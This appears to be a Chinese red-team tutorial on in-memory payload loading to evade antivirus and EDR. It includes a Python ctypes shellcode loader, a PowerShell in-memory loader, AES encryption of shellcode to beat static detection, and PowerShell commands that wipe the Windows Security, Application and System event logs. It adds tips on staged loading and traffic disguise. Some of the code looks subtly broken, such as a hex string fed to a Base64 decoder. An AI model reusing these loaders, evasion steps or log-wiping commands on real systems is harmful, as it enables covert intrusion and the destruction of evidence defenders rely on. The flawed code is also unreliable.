<pre><code>## 0x01 攻击板块
在现代信息安全对抗中，内存加载免杀技术已经成为攻击者手中的利器。在深入探讨具体技术之前，让我们从软件和系统架构的角度来理解这一技术。如果我是一名攻击者，我首先关注的是如何在目标机器上加载恶意代码的同时，尽量减小被检测到的风险。
内存加载免杀技术通过将恶意载荷直接注入受害者的内存，而不是将其写入硬盘，从而降低了被传统杀毒软件和EDR（Endpoint Detection and Response）检测到的可能性。这种技术基于现代操作系统对内存管理的机制，攻击者利用这些机制实现对目标系统的完全控制。
内存管理机制
操作系统通常采用虚拟内存管理，以隔离不同进程的内存空间。攻击者可以利用这一点，通过操控内存中的数据结构，绕过操作系统提供的安全机制。内存加载的核心在于利用进程内存空间的灵活性，直接在内存中执行恶意代码。
Payload构造的艺术
构造恶意载荷是整个攻击链中的关键步骤。我们将讨论如何使用Python和PowerShell来构造和加载恶意载荷，同时确保它们的隐蔽性和有效性。
Python与PowerShell的结合
Python以其强大的编程能力和丰富的库支持成为优选语言。PowerShell则因其与Windows操作系统的深度集成，是执行内存加载攻击的理想工具。下面，我们将结合这两者，展示如何实现内存加载免杀技术。 </code></pre>python import ctypes import base64
这是我们的shellcode，使用Metasploit生成的
shellcode = b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30..."
将shellcode加载到内存
memory_with_shellcode = ctypes.windll.kernel32.VirtualAlloc( ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40), )
将shellcode拷贝到申请的内存中
ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_int(memory_with_shellcode), shellcode, ctypes.c_int(len(shellcode)) )
创建一个新的线程来运行shellcode
thread_handle = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(memory_with_shellcode), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)) )
等待线程执行完成
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(thread_handle), ctypes.c_int(-1)) <pre><code>
PowerShell脚本加载
为了在Windows平台上隐匿执行，我们可以利用PowerShell来加载和运行我们的恶意载荷。 </code></pre>powershell
这是一个简单的PowerShell加载器，用于执行内存中的shellcode
$Shellcode = [System.Convert]::FromBase64String("fc4e8b500000006089e531c0648b5030...") $MemoryAddress = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($Shellcode.Length) [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $MemoryAddress, $Shellcode.Length) $ThreadStart = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MemoryAddress, [Action]) $ThreadStart.Invoke() <pre><code>
绕过静态分析的秘密
传统的杀毒软件主要通过静态分析和特征码匹配来检测恶意软件。为了避免被静态分析识破，攻击者需要在构造恶意载荷时对其进行深度混淆和加密。
加密与混淆
攻击者常用的技术包括对shellcode进行加密，然后在目标机器上解密执行。以下是一个简单的Python加密示例： </code></pre>python from Crypto.Cipher import AES import os
随机生成一个密钥
key = os.urandom(16) cipher = AES.new(key, AES.MODE_CFB)
加密shellcode
encrypted_shellcode = cipher.encrypt(shellcode) <pre><code> 
攻击者可以通过将密钥与加密的shellcode一起发送到目标机器，然后在内存中解密和执行。这样可以有效地防止被静态分析工具检测。
动态检测的对抗
动态检测是现代EDR的核心功能之一。它通常通过监控进程行为来发现异常活动。为了绕过动态检测，攻击者会采用多种对抗技术。
隐匿进程行为
攻击者可以通过分阶段加载恶意代码，降低被检测到的概率。这种技术通过将载荷分割成小块，在不同时间加载到内存中，避免一次性加载大量恶意代码。
一个常见的方法是通过切换进程上下文（Process Hollowing）和DLL注入(DLL Injection)等技术实现。
痕迹清理：消除攻击痕迹
攻击完成后，清理痕迹是至关重要的步骤。攻击者常使用以下技术来隐藏自身痕迹：
清理日志与记录
攻击者可以通过以下PowerShell脚本来清理Windows事件日志： </code></pre>powershell
清理事件日志以消除攻击痕迹
Get-EventLog -LogName Security | Clear-EventLog Get-EventLog -LogName Application | Clear-EventLog Get-EventLog -LogName System | Clear-EventLog <pre><code> 移除文件和注册表项也是攻击者隐藏痕迹的常见手段。
作战经验分享
在实际操作中，攻击者要面对各种反制措施。因此，灵活变通、快速响应变化是红队作战中的关键能力。通过不断更新技术和策略，攻击者可以在与防御者的对抗中获得优势。
小技巧与实战心得
- 速率控制：缓慢加载恶意代码，降低被检测的风险。
- 多样性：使用不同的加密和混淆技术，让每次攻击都不尽相同。
- 流量伪装：利用常见协议和端口，隐藏恶意流量。
对于红队成员来说，深入理解内存加载免杀技术，不仅是提升攻击能力的重要一环，也是对抗EDR的一项核心技能。希望这篇文章能为你的红队渗透测试提供实战经验和技术参考。</code></pre>